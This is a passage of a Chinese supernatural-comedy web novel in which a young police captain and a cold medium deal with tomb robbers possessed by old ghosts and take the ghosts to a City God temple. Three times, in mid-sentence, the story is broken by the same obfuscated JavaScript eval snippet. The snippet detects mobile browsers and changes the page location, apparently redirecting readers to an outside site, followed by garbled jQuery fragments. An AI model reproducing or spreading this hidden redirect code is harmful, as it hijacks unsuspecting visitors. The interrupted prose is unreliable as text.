“啥意思?”杜理科把油条咽下去,差点把自己噎成长颈鹿,“什么叫没人来?” 谢重阳蔫头耷脑:“根本没人来上班。” 杜理科呆愣了片刻,他不可置信地说:“太不像话了,你给他们工资扣光!” 谢重阳拧起眉头:“他们好像没工资。” “啥?”杜理科结结巴巴,“咱们公安局成法外之地了?不给人发工资让人白干活呢?” “嗯哼。”陆正出现在杜理科身后,他连忙立正。 “没事,有案子了才要他们出马。”陆正笑呵呵地把手里一份资料递给谢重阳,“给你,他们几个人的资料,你可以先熟悉熟悉,上面有联系方式。” “是。”谢重阳接过扫了眼,又问,“陆队,那咱们这现在有什么活我能干的吗?” “我那边闲着也是闲着……” 杜理科探头:“我那有个报告还没写你要吗?” 江定抬头:“我有个快递你能帮忙拿吗?” 钱松:“哎,那要不一会儿帮我接小孩放学……” “滚滚滚。”陆正板起脸挥手,“一个个得寸进尺。” 几人立刻作鸟兽散,嘻嘻哈哈地缩回各自工位上。 陆正轻咳一声:“要不你帮我买包烟……” 谢重阳抬头盯着他。 跟老队友们插科打诨了几句,谢重阳重新振作,决定先去打扫一遍办公室,秉承着不抛弃不放弃的精神,继续等待他名义上的队员们赏脸前来上班。 他拎着拖把拖了四分之一地块,有人来添加他的好友了。 来人就是张道长。 张道长人虽没来上班,但热情到了。 他加了谢重阳的好友,先恭喜他升职,夸他面相就好将来恐怕还得升,然后就把他拉进了一个名叫“求神问佛不如求我”的嚣张小群里。 谢重阳眼睁睁看着他把群名改成了“量子力学技术部”,感觉这里像是一下子从三教九流藏匿窝点,变成了不靠谱砖家聚集的闲职部门。 尤其是老张还吆喝了一声:“孩儿们先各自休息,等我出去找点活回来开工!” 听着像是要去天桥底下摆摊骗两个倒霉蛋来。 谢重阳还没想好怎么回复,林夏桃已经发了一个欢迎新人的表情包,还发了好友申请。 谢重阳还记得之前她为了不跟人说话装睡,在网上倒像是外向了许多。 他顺着加好友跟小桃问了两句话,对方回复十分正常,甚至能算特别活泼。 可能是i人属于Inte。 原本三人,现在扩张到四人的群里,只剩下崔人往还没发言。 谢重阳想了想问小桃:“你知道崔人往在哪吗?” 小桃:“老大住在酒店,不用在意,没回你消息应该是还没醒,他还在倒时差。” 谢重阳恍然大悟,才想起来他是从国外回来,但转念一想:“可是这也十多天了……” 小桃:“那就是倒不过来了。” 谢重阳:“……” 下午两点四十,空巢青年谢重阳终于收到了崔人往的回复。 ——一只脑袋上有问号的黑猫。 刚醒过来的崔人往看见谢重阳的消息属实有点意外,尤其是对方一句没头没尾的“你怎么没来上班”。 他要上什么班? 回完消息,崔人往按照惯例打算检阅一下他的电子宠物老张小桃今天又干了什么,差点没找到群聊。 仔细查看,才发现不知道什么时候群名变成了“量子力学技术部”,群名后面的“3”也变成了“4”。 崔人往:“……” 他沉默地确认成员列表,在群里@谢重阳问他:“你为什么在这里?” 谢重阳还没回答,老张先回复:“哎!小崔,没礼貌!怎么跟咱们谢队长说话的!” 崔人往一下坐起来了:“队长?” 林夏桃:“老大,你醒啦!老张把他拉进来的!老张说咱们那个量子力学技术部名义上是他当队长,要叫队长好。” 谢重阳拍了一张空荡荡的办公室,幽幽地问:“所以,有人要来上班吗?” “再过两三个小时该下班了。” 崔人往立刻拨通了老张的电话。 “喂!”老张也不知道身在哪里,四周听着嘈杂异常,不知道在吵什么,“小崔啊!我这忙!” 崔人往面无表情:“你还是把他弄来了?” “什么叫我弄来的。”老张解释,“我一个人也弄不来啊,这叫一拍即合。” “他自己也同意,他上司也同意。” 崔人往有点怀疑:“他都不相信鬼,他能答应进我们部门?” “嘿嘿,就是因为不信才来啊。”老张“嘿嘿”笑起来,“你不想看看他到底能不信鬼到什么时候吗?” 崔人往:“……” “哎!”不知道谁喊了老张一声,看起来真的很忙,老张扭头接了两嗓子又对着电话说,“我跟你说我在城南这边呢!有几个缺德玩意盗墓来了,还真给他们挖出来一个老墓!里面可能有点脏东西,大半夜给几个小毛贼吓坏了,说是精神失常,多半是中邪了。” “那几个小毛贼现在在城南派出所,出不了什么事,我担心墓里还有东西,先得下去看看。” “哎,要不这样!你醒了是吧?你叫小谢捎上你一块去城南派出所,看看那几个小毛贼。我估计是撞鬼了,要是运气好,说不定那几个鬼还跟着他们呢,你再给几个小鬼送去城隍那。” 崔人往面无表情:“这案子跟‘导师’有关系吗?” “没有。”老张斩钉截铁,他又问,“你还干吗?” 崔人往叹了口气:“……知道了。” “哎——”老张得意洋洋,“我就知道你……” 崔人往毫不犹豫地挂断了,拨通了谢重阳的电话。 “喂!”谢重阳的声音有点惊喜,“你来上班吗?” “不来,但有个活。”崔人往说,“城南派出所,去不去?” “砰”地一声像是椅子被撞开,谢重阳兴高采烈:“去!” 崔人往轻声笑了一声:“来酒店带我一下,没车。” “好。”谢重阳爽快答应。 十五分钟后,崔人往坐上了谢重阳的车。 谢重阳瞟了眼酒店:“你还住酒店?没找个房子吗?” 崔人往窝在副驾里,神情懒散:“都一样,酒店还给打扫,方便。” 谢重阳不合时宜地想起自己从罗锋那里听见的传闻,把问他为什么不回崔家住的话咽了回去。 他说:“警局有宿舍的,可以申请。” “老张就申请了宿舍。” “嗯,我知道。”崔人往神色懒懒,“老张离不了人,必须得跟人一块待着。” “他也提议过,说警察宿舍阳气重,还能防鬼,我住那里有好处。” 谢重阳连连点头:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995315|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对啊!那你怎么不去?” “因为……”崔人往思考了片刻,最终诚实地说,“娇气。” 谢重阳:“……” 他神色复杂地看了崔人往一眼,突然拐弯把车靠在路边,摇下车窗喊:“师傅,两份双蛋烤冷面。” “好嘞!”摊主立刻动手,“洋葱香菜都要吗?醋和辣要不要?” “一份都要,微辣。”谢重阳看向崔人往,崔人往一怔:“还有一份是我的?” “当然了。”谢重阳指指他,“你肯定没吃饭。” 崔人往瞄了眼不能细看不然吃不下的小推车,目光挪到了还算干净的招牌上,沉吟片刻说:“不要洋葱香菜,多醋多辣。” “你还真能吃辣啊?”谢重阳惊讶看他,“不是在国外生活吗?” 崔人往:“国外也有辣,墨西哥菜就辣。” 他带着几分好奇,看摊主动作熟练地挥动小铲。 ——他一点不意外谢重阳调查过自己,要在公安局做事,背调肯定少不了。 谢重阳放下心:“原来你在国外也吃东西啊,我还担心你都不吃饭。” 崔人往:“偶尔也吃。” 谢重阳:“别偶尔啊!” 摊贩探出身递过来两份烤冷面:“两份好了!” 热腾腾的香气当真勾起一点食欲,谢重阳扫码接过,车又朝城南去。 半小时后,两人一起走进城南派出所。 有个衣着朴素的老阿姨正坐在大厅嚎啕大哭,另一边是打架斗殴的小混混捂着流血的脑袋还在争执,两个靠在一块的年轻姑娘抱着电脑流眼泪,还有两个大腹便便的中年人翘着腿一副老油条样。 几个民警站在他们中间,像把这群色彩浓重的人划分开的标点符号。 崔人往忍不住多看了几眼,谢重阳拍拍他的肩膀说:“你等会儿,我先去问问。” “嗯。”崔人往还在津津有味地看两个小混混茬架。 来的路上他就跟谢重阳说了大概情况,虽然不知道谢警官怎么理解“中邪”、“撞鬼”,但反正他说理解了。 没多久,一个老警察从里面走出来,笑呵呵地戴上帽子跟他们搭话,领着他们俩往里面走。 基层民警跟刑警又是不一样的感觉,崔人往想了想,大概就是烈性大型犬和温和大型犬的区别。 老警察像是唠家常一样随口问:“怎么市局的同志也来了啊?” 崔人往了然,看样子是来探口风的。 谢重阳在这方面倒是也不傻,他客气地说:“不用担心,只是听说情况古怪来帮忙,还是你们的案子。” 老警察松了口气:“那就好!这事确实是有点奇怪的,三个人都在那个房间里……” “房间?”谢重阳有些诧异,“没直接拘起来啊?不是盗墓被抓现行吗?” “是这样,但他们状况不对,我们都不敢让他们离开视线,只好先找个房间让人看着。”老警察无奈,“本来我们以为他们是想靠装疯卖傻逃避法律责任,但……再这样下去真要送精神病院了。” 谢重阳疑惑:“三个人关在一起?怎么不分开审。” “分不开啊。”老警察苦笑,“一把他们分开,他们就……开始唱戏。” 谢重阳错愕:“唱戏?” “你等等啊。”老警察推开门,对着里面的警察喊了一声,“小宋,分一个出来。” 门内立刻响起来了哭喊,男人刻意把声音掐的尖细,带着哭腔声嘶力竭地喊:“老爷、老爷救我啊!没有你我怎么活啊老爷!” 老警察指着门内的恨海情天:“瞧,又唱上了。” 谢重阳:“……” 崔人往:“……” 12. 012.奇怪 房间内的三个盗墓贼看着年纪都不大,顶多二十出头,身材瘦削,鲜艳紧身衣黑色紧身裤,看着就像一个团伙的。 三个人配色正好是红绿灯配色,饱和度还高,三个人紧紧抱在一块,看得人眼睛疼。 绿色的掐着嗓子喊“老爷”,红色大概就是“老爷”,不顶事地缩成一团,被扯得摇摇晃晃,还有黄色那个嘴巴张得老大一味地哭,吵得人耳朵也疼。 “吵什么!”负责看管他们三个的小宋警官一肚子火气,“安静点!都把嘴闭上!” 崔人往非常理解她的愤怒,仔细打量着红绿黄三位的面孔。 三人眼睛里遍布血丝,眼睛下面一片乌青,神色呆滞,还有周身散不去的阴气——就是撞邪没跑了。 老警察苦笑:“这几个人啊,从押回来开始就这么闹腾。” “主要是咱们这个案子,是附近居民报的警。出警那一会儿的功夫就有人拍了视频。他们仨抱在一起,什么‘老爷’、‘少爷’地一通喊,都被人发网上了!网上说他们撞邪、被鬼上身、精神分裂……什么都有。” “那墓地也被人知道了,一堆人赶去凑热闹,都开上直播了,现场乱得一塌糊涂,过去好多人都管不过来……” 他苦着脸指了指门内的三个罪魁祸首,“我们这边还指望他们三个正常点,好辟谣呢。” 其实也没猜错,这三人确实是中邪了。 不过这里好歹也是派出所,虽说人来人往人员混乱点,但也不是寻常小鬼能随意进出的。 崔人往若有所思:“他们刚进来的时候,也还喊吗?” “啊?”老警察一怔,倒是小宋警官反应更快,她是个长得挺精神的短发姑娘,眉毛又浓又密,脸型瘦削,不笑时看起来有点凶相,她说:“他们三个进来的时候还装晕倒,过了一会儿才醒。” 崔人往挑眉,那恐怕不是装的——大概是附身的小鬼被现代衙门的凶煞气吓得逃了,三个人就晕了。 至于这会儿为什么又醒了…… 崔人往走到窗边,撩开帘子——窗户靠南,外边墙根放了个垃圾桶。 藏污纳垢的地方,整整齐齐趴着三个小鬼。一个戴着瓜皮帽的皱皱巴巴老鬼,一个脸上红得像血的花袄女鬼,一个缺了门牙的花脸小鬼,都挤在派出所后窗这一块阴气稍重小地方。 崔人往:“……” 三只鬼跟他对上视线,整整齐齐地往后飘了一步,又被太阳烫得“嗷嗷”叫,重新挤进了垃圾桶边上。 崔人往对着窗外,用口型无声说:“不许跑。” “怎么了?”谢重阳好奇地凑过来,“外头有什么?” “没事。”崔人往松开窗帘,低声说,“我大概知道怎么回事了,出去说。” 谢重阳不明所以,但还是乖乖跟着他,目光扫过那几个还抱成一团的盗墓贼,微微蹙了下眉头。 “我们之后也去现场看看。”崔人往出了房间,已经看见靠南面的厕所标志了,还是故意对老警察说,“不用送我们了……啊,我想借用一下厕所。” 拒绝了老警察送他们到厕所门口的热情,崔人往顺手把谢重阳拎进厕所,直奔靠南的窗户——窗户外,三只鬼还老老实实趴在墙后面。 崔人往摸了摸口袋,问谢重阳:“你身上有什么能装东西的盒子吗?烟盒也行。” “我不抽烟。”谢重阳不明所以,但还是积极配合地帮他想办法,“袋子行吗?烤冷面那个袋子还在车上。” “也行。”崔人往略一思索,觉得反正不是他自己待,也能凑合,“你去车上拿一下。” “好!”谢重阳也没问为什么,扭头就跑出去了。 老警察还站在走廊,见他出来有些惊讶:“你这是……” “拿纸。”谢重阳随口找了个借口,“肚子疼。” “里面有……”老警察还没来得及说完,谢重阳已经风风火火跑出去了。 看着是挺着急的。 老警察好笑地摇摇头,身后的门“哐”一下打开,他捂着心脏“噢哟”一声:“小宋啊,你不要吓人啊。” 小宋警官问他:“那两人是谁?市局的为什么来问这个案子?是不是牵扯到什么大案子了?” 她表情一本正经,说话语速也快,连珠炮一样,老警察无奈:“不知道啊。” “不知道?”小宋警官拧起眉头,“不知道你就让他们插手咱们的案子?这是咱们辖区的,轮不到市局管,是不是这几个小子家里有人找关系了?” “啧。”老警察板起脸,“小宋,不要乱讲话!对自家同志要有信心。” 小宋警官盯着他:“有信心你怎么不问清楚,还让他们糊弄过去?” “我……”老警察见谢重阳去而复返,连忙闭上嘴,笑呵呵地看他跑过去,然后拧起眉头说,“你这张嘴,以后少说两句吧,要不是我带你,我都懒得跟你说!不该问的别问!” 小宋警官臭着脸:“就知道和稀泥!早点退休吧你!” 她“砰”地一声把门关上了,把老警察气得够呛。 另一边,谢重阳一路小跑进了男厕所,把塑料袋递给崔人往。他随意扫了一眼,发现窗户开了。 崔人往一抖塑料袋,面无表情地看着前方说:“进去。” 谢重阳看看塑料袋,指指自己:“我吗?” “不是你,你安静点。”崔人往看他,“或者去门外等。” “不要。”谢重阳转身站到崔人往身后,好奇他要做什么,“我不说话了。” ——反正陆队和赵局都交代过他,要充分相信这几位特殊顾问,让他们用自己的方式做事。 所以,谢重阳秉承着不理解但尊重的精神,就看着崔人往对着空气演独角戏。 谢重阳看不见的视角里,三只小鬼已经在崔人往的威胁下,老老实实地贴着墙,排队从窗户飘了进来。 这三只鬼的怨气不算深,顶多算是人类起床气的水准,要不是这三个盗墓贼闯进人家墓里,多半也不会出来害人。 崔人往把他们仨团巴团巴塞进塑料袋里系好,拎着个圆鼓鼓充满气的塑料袋,神色自然地走出了厕所。 谢重阳跟在他后面,还是想不明白他装一袋城南派出所厕所的空气出去能干什么。 两人再次和老警察打了个照面,崔人往礼貌笑了笑,越过他往外走。 老警察才扬起嘴角准备回以笑容,身后的门又“砰”一声被推开了。 老警察被吓得一激灵,恼怒回头:“宋金云!又怎么了!” 小宋警官表情严肃:“三个人都晕了!快送医院!” 谢重阳惊讶回头,崔人往拽着他的袖子加快脚步:“别回头,快走。” 谢重阳听话地加快脚步,回到车上才问:“咱们不去帮忙啊?怎么突然晕了?” 崔人往把气球似的塑料袋放在脚边,扣上安全带:“不去。” “哦。”谢重阳应了声,还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998366|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住问,“为什么?” 崔人往不怎么心虚地看向他,举起那个圆鼓鼓的塑料袋说:“心虚。” 谢重阳发动车子:“你心虚什么?他们又不可能是因为你才晕的。” 崔人往盯着他:“不可能吗?” “不可能……”谢重阳被他越看越没底,眼睛缓缓睁大,“吧?” 崔人往眼中笑意一闪而过,起了点捉弄他的心思,故意偏了偏头说:“真的不可能吗?” “我、我一直跟着你啊!”谢重阳瞪大眼睛,“不对,上车拿塑料袋确实走开了一会儿,但房间门口有警察,门里也有警察,你怎么可能让他们仨一块晕倒!” 崔人往随便捏了个手诀糊弄他:“作法。” 谢重阳:“……” 崔人往实在没忍住笑起来,那张一向冷淡死气沉沉的脸上居然显出点活泼的生气来。 “崔人往!”谢重阳意识到自己被耍了,气急败坏地看向他,“你!” 谢重阳正要放点狠话,却惊觉自己似乎完全没有他的弱点情报,最后只能愤愤开口:“我以后再也不会相信你了!” 崔人往:“……” 像小孩绝交。 他又想笑了。 “接下来去哪?”谢重阳绷着脸,斜眼看他,“去现场吗?” “不,去城隍庙。”崔人往伸了个懒腰,也没避讳他,直接说了实话,“他们三个被墓里的鬼附身了,才会说那些话。” 他轻轻踢了踢塑料袋,里面挤成一团的三只鬼努力缩得更小,不敢吱声,“咱们去把这几位滞留人间的小鬼送给你地下的同事。” 谢重阳脑袋旁仿佛有个加载的圈不停旋转,似乎正在竭尽全力把这段话转换成他能理解的意思。 崔人往不等他消化完,接着说:“我把那三只鬼抓了,但那三个盗墓贼自己的魂丢了,还不知道丢哪了,所以才晕着。” 崔人往看向路边,“先去城隍庙把他们送走,然后咱们再沿着派出所去墓地,沿路找过去,说不定能找着。” “要是还不行,就得找老张给他们叫魂。不过这个最好需要生辰八字,他们现在神志不清,确认身份可能需要花点时间……” 谢重阳表情严肃,看起来大部分没听懂,但这部分听懂了:“也不会花多少时间,可以人脸识别。” 崔人往顿了顿:“人脸识别?准确度高吗?” 谢重阳点头:“高啊。” 他忽然想起来什么,“哦,你从国外回来,没怎么见过天眼系统是不是?” 崔人往:“……” 听他这个语气,像是把他当成了什么封建余孽。 崔人往别过头,又把塑料袋拎起来问:“你们知道他们的生魂丢哪了吗?” 塑料袋“唽哗”作响,三只鬼一齐摇头。 谢重阳往他那里看了一眼,怎么看都觉得他是在玩塑料袋,然后故意说点怪话吓唬人。 他食指轻轻敲了敲方向盘,崔人往戳着塑料袋,懒洋洋地说:“想说什么就说。” “你有没有觉得……”谢重阳果然开口,“那三个人有点奇怪?” 崔人往:“我觉得一般人应该会觉得他们三个不止一点奇怪。” “你说的是哪方面?” “嗯——”谢重阳拧着眉头,忽然说,“我觉得他们不像一家三口。” “为什么?”崔人往眨眨眼,“因为孩子跟爹一般大,夫人还是个男的?” 13. 013.夫人 谢重阳:“……” 被崔人往这么一说,那确实是怪得很。 “不是因为这些。”谢重阳还是说下去,“就是……当时他们三个虽然抱在一起,但肢体语言有些奇怪。” “‘老爷’紧紧搂着‘孩子’,而哭喊的那个要被分开时拽着‘老爷’的手,姿态摆得很低,像是祈求,也没有跟‘孩子’有任何肢体、眼神上的接触。” “如果是一家三口,在这种时候,我觉得她可能会更关注孩子,孩子也会下意识寻求母亲。” “还有他们之间的称呼也很奇怪,‘老爷’什么的,像上个世纪了。” 崔人往低低笑了一声:“其实现在也有的,装腔作势的大家族里,还这么叫。” “但他们应该不是那么回事。” 谢重阳的车在红绿灯前停下,他跟着点头:“其实就是一种感觉,我就是觉得他们比起一家人,更像是一对父子,和一个身份更低一点的女性。” 崔人往神色动了动,把塑料袋举到了眼前,轻声问:“是吗?” 塑料袋无风自动地抖起来,豁牙小鬼张嘴就要哭:“娘……” 鬼老爷连忙捂住了他的嘴。 塑料袋抖得像个沙锤,崔人往换了个舒服的姿势靠着,翘起二郎腿:“让他说。” 鬼老爷哆哆嗦嗦:“小孩子好哭,怕扰了大老爷清净。” 崔人往露出一点笑意,就是笑得叫鬼胆寒:“没事,我爱听鬼哭。” 他还是第一次被鬼叫“大老爷”,有点新鲜。 鬼老爷:“……” 得到了“崔大老爷”首肯,小鬼扯开嗓子嚎啕大哭起来:“娘,我要我娘——” 崔人往把塑料袋抖了抖,把女鬼转过来:“你不是他娘吗?” 女鬼扯开一个鬼气森森但谄媚的笑容:“我、我是姨娘,不是他亲娘啊。” 崔人往忍不住多看了谢重阳一眼,放下二郎腿坐直了:“亲娘呢?” 女鬼说话细声细气,带上委屈的哭腔,显得愈发鬼气森森:“不知道啊,当时太乱了,那几个人冲进家里,撒了好些晦气的东西……” 崔人往好奇地问:“什么东西?” “黑狗血、糯米之类的。”她抽抽噎噎地哭,“我当时疼得厉害,感觉都要散架了,就听见那人一直喊,慌了神,也不知道撞进谁的身体里了。” “我只知道进去以后,那些晦气的东西便没那么厉害了,就一直躲着。” “后来,老爷带着少爷往外头跑,我也就跟上去,出去以后听见有人喊,来了好多人,法宝灵光乱晃,眼花缭乱,再后来……稀里糊涂就进了那个铁疙瘩了。” 崔人往翻译了一下,应该就是被人发现,有人用手电筒之类的照他们,很快就被热心群众逮住扭送派出所了。 还有铁疙瘩…… 崔人往指了指车顶:“是这个铁疙瘩吗?这是汽车,你们没见过?什么时候死的?” “不记得了。”女鬼小心翼翼地回答,偷瞄着崔人往的脸色,“都在墓里了,浑浑噩噩,哪里还记得日子。” 她小心翼翼抬眼往上瞧,“铁疙瘩、是差不多的铁疙瘩,就是大小不一样些。” 不认得汽车、夫人姨娘的称呼、加上衣着老旧,恐怕至少是七八十年以前死的了,确实是旧社会的鬼。 崔人往若有所思,花袄女鬼又惊呼一声:“啊呀,夫人好像一开始就不在铁疙瘩里!” 那就是说,他们仨被逮进警车带回派出所的时候,夫人就没跟他们在一块了。 运气好点,那位夫人可能还在墓里,被老张逮个正着。 运气不好点…… 崔人往看向慢慢滑向地平线的太阳,那可就不知道跑到哪里去了。 让手中的塑料袋安静下来,崔人往给了谢重阳回复:“你说的对,确实不是一家三口,还有个夫人。” 谢重阳不知道他说的是鬼,只当他说的是人,连忙问:“难道说,当时不止三个盗墓贼,是四个?” 崔人往看了眼塑料袋,花袄女鬼“嘤嘤”哭着:“我们、我们也没看清楚。” 他说:“……” 他只好说,“还不确定,我问问老张那边。” …… 城南墓地。 张道长“嘿”一声,身手矫健地从墓里爬上来,还回身去拉了一把跟他一块下去的年轻警察。 “呼、呼。”年轻警察拍着身上的灰,“老张你身手也太矫健了!” “嘿嘿,是你们现在的年轻人身体素质太差。”老张一夸就得意,当场给他表演一个金鸡独立起手式,“我跟你说我……我有个电话,你等下。” “哎!”他接起电话,“小崔啊,你们那怎么样?” 他眉头一皱,“四个?” “怪不得……” “啊,墓里没有,那下面全是血和糯米,踩得乱七八糟的,忒没公德心。幸好是这墓年份不够远,算不上什么古董,里面的东西倒是没什么可惜,到时候买点锅碗瓢盆赔给他们。” “你们现在是去城隍那?” 他正要接着往下说,又听见身后一阵嘈杂,几个穿着红绸舞裙的阿姨精神抖擞,猫捉耗子一样驱赶着一个穿着松垮保安制服的老头往这走。 “干什么干什么?”民警连忙迎上去,“都吵什么呢!” “不是啊警察!我们是来协助办案的!”领头的阿姨手里的绸扇舞得像令箭,直直戳着老保安,“他跟那几个盗墓的人是一伙的!” “胡说什么!”老保安身体往后退,脖子还跟斗鸡似的梗着,“谁跟他们是一伙的!你们胡说八道,我不跟你们讲!” 说着他还想走,但几个热心阿姨遭到挑衅,斗志昂扬地一跺脚,绸扇差点指到老保安眼睛上:“就是他!这地方是他看的!出事前几天我看见有个染头发的小青年跟他拉拉扯扯,给他香烟了!” “胡说!我没有!”老保安眼神乱瞟,骂骂咧咧地反驳,“你有证据吗!” 几个民警被他们两方挤在中间,气势都矮了一截,险些插不上话。 老张见他们招架不住,连忙对电话那头说:“等我一下啊!先别挂!” 他夹着手机就迎上去,一叠声喊:“好姐姐、好妹妹,别动手啊,咱们讲道理!你们谁瞧见有人给他送烟了?咱们慢慢说好不好!” 老张把双方拉开,总算问明白了情况。 ——原来挖出墓的这地方并非完全无主之地,已经被开放商买下了。据说不久就要盖商场,目前还没动工,只请了一个老保安意思意思看着。 就是这位被人指认收受贿赂的保安老周。 老周仗着这附近监控还没装,打死不承认,一口咬死自己什么都不知道。 几个阿姨七嘴八舌地指认:“肯定是他!他帮着那几个小青年挖人家坟墓,缺德的很!” “他拿了人家的烟,放他们进去,还给他们望风!” 老保安涨红了脸:“谁给他们望风了,我没有!” “哎哎哎——”老张先问老周,连哄带骗地吓唬他,“你也别那么抵赖,有没有拿人家烟,到时候指纹一验清清楚楚啊。” “而且那几个小子也抓住了,他们都老老实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002883|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实交代着呢,你没必要在这种小事上说谎,拿包烟,判不了刑!” 老周别开视线,紧闭着嘴不吭声。 “过来过来。”老张招呼他,示意他靠过来一点,把他拉到人群边上,压低声音说,“你老实交代,我们才能给你想办法嘛。” “两包烟才多少钱!犯不着!” 老周绷着脸安静了半天,最后才支支吾吾说:“就拿、拿了两包。” “但我没给人望风!” “嘿,先别说什么望不望风的,又没说你是他们同伙。”老张笑嘻嘻地跟他套近乎,“情况我知道了,小事。老哥,你在这干多久了?多大年纪了?” “六十多了?六十多了怎么还不享福啊,就两包烟,事情不大你放心。” “他们让你干什么呀?就让你开门?” “不,他们翻墙进去的。”老周被老张的一通寒暄撬开了一点嘴,含糊地说,“这里墙好翻,他们让我当没看见就行……我本来就没看见!” “哦——”老张“嘿嘿”笑起来,“我就说嘛,你不可能是他们一伙的!” “哼。”老周面色稍稍缓和,“我早就说了……” 老张顺口问:“那你要是看见人来了怎么办啊?” 老周顺口答:“喊他们快点跑呗。” 话刚说完,两人对上视线,老张哼笑一声,招招手问民警:“听见了吧?执法记录仪录下来了吧?把人带回去吧。” 老周正要撒泼,老张又问:“哦对。” “那天来了几个年轻人啊?” 老周不情不愿地回答:“四个。” 老张这才举着手机走到一边,对着刚刚旁听了一出好戏的崔人往说:“听见没?四个人,四个鬼,多半就在一块呢。” 崔人往应声:“嗯,怎么找?” “嘶,附在人身上的鬼,怨气又不重,可不好找。”老张琢磨着,“从那个跑掉的活人入手吧。” “活人让警察找,你问问咱们小谢队长。” “生魂就让鬼官差找,你送他们去城隍的时候顺便求个阴差帮帮忙,我教你的供香的法子你还记得吧?” “嗯。”崔人往挂了电话,扭头看向谢重阳,他斟酌着词句开口,“谢警官,你那个……天眼系统,怎么找人?” “得回警局。”谢重阳刚刚也听了个大概,“这案子市局没有正式插手,我们不方便让其他同事帮忙,但咱们部门有这部分权限,能自己查。” 崔人往沉吟片刻:“叫小桃先去吧,她擅长电脑。” 谢重阳想起之前看过的这几个人的资料,虽然他们行事乖张,满口神神鬼鬼,但在官方资料上,确实都算是某方面的特殊人才。 张不虚是个有道协和民宗办背景的正经道士,崔人往是有心理学、哲学双学位的海外名校留学生,林夏桃是16岁考进国内top高校计算机系的天才少女,后来因为心理原因办理休学,尚未毕业,但在网安那边已经挂了名。与这方面的光鲜履历相比,灵媒师都像是个爱好。 “好。”谢重阳颔首,看崔人往没动作,诧异地多看了他两眼。 崔人往看回来:“谢队长,你不安排工作吗?” “啊?”谢重阳愣了一下,“我安排吗?” 他虽然名义上是这个部门的队长,但老张和小桃显然都是崔人往的人,他说话未必管用。 崔人往好像看得懂他的心思,他笑了一声,说:“谢队长,我们都是你的人。” 谢重阳:“……” 年轻的谢队长第一次意识到,原来听到好话,心情真的是会飘起来的。 14. 014.病友 谢重阳摆出队长的架势,拨通了小桃的电话。 电话响了足足半分钟才终于被接通,电话那头,小桃声音细弱:“喂……” 谢重阳忍不住看了眼手机确认,还是开口:“小桃,你现在方便直接去市局吗?” “我们需要用系统找一个人。” 小桃低低“嗯”了一声。 “桌上的电脑你随便用,我一会儿把现有资料发你。”谢重阳又交代,“要是不会就去找重案组找江定,她肯定会教你的。” “嗯。”小桃又应了一声,等他先挂了电话。 谢重阳放下手机,忍不住挠挠头:“怎么又这样了……” 之前聊天还挺正常,他还以为熟悉起来了呢。 “正常。”崔人往习以为常,“如果不是特别着急的事你可以选择给她发消息,她怕接电话,但消息一般都秒回。” “哦。”谢重阳努力理解自家队员的性格,“这是不是就是那种……网上和现实性格差距比较大的?” 崔人往笑了笑:“嗯。” 谢重阳拧眉:“那现实中大概要多久,她能跟我熟悉起来?” “这个么……”崔人往认真思考片刻,“三个月应该就能正常接你电话了。” 谢重阳失声:“三个月?” 崔人往又笑起来。 谢重阳反应过来:“你骗我的?” “没有,这个是真的。”崔人往看向窗外,车开进最近的城隍庙停车场,太阳也彻底落了山。 城隍庙护卫一城,大多供奉当地名人英雄作为当地守护神,领任冥府官职。因古时州县划分跟现在不同,所以现在一个城市也常常不止有一座城隍庙。 阴差阳错,谢重阳带他来的还就是最大的那一座。 崔人往下了车,城隍庙的牌匾在前,三只鬼已经开始瑟瑟发抖。 这一座城隍庙在闹市里,附近是步行街,太阳刚刚落山,小摊贩已经陆陆续续到场开始准备,凡间烟火气拱卫着庙宇,莫名让人觉得祥和。 崔人往正要往里进,手中的塑料袋忽然被拽了一下。 豁牙小鬼哭着喊:“我、我要跟我娘一块……” 瓜皮帽老鬼连忙哄他:“会来的,大老爷会把她找来的!” 他一边说,一边偷看着崔人往的脸色。 崔人往有些诧异,居然还有鬼试图对他这样的人使用道德绑架——他明明就长了一张薄情寡义的脸。 又不是一看就热心正直的谢重阳。 但那小鬼哭得卖力,扰人耳朵清静。 崔人往忍不住想,他好像从小就没这样声嘶力竭地哭过。 或许是知道哭也不会有人来哄。 谢重阳慢他一步下了车,发觉崔人往正盯着手里的塑料袋——他时常会显露一点对这个世界冷眼旁观的隔阂感。 他皱皱眉,搭住崔人往的肩膀,晃了他一下,问:“咱们来这干什么?” 这城隍庙地段不错,香火还算旺盛,除了街边小贩讨个吉利常来,还有不少来小吃街的游客秉承着来都来了的精神,随手拜拜。 谢警官没拜过,但来过这条小吃街,还买过城隍庙的文创冰箱贴。 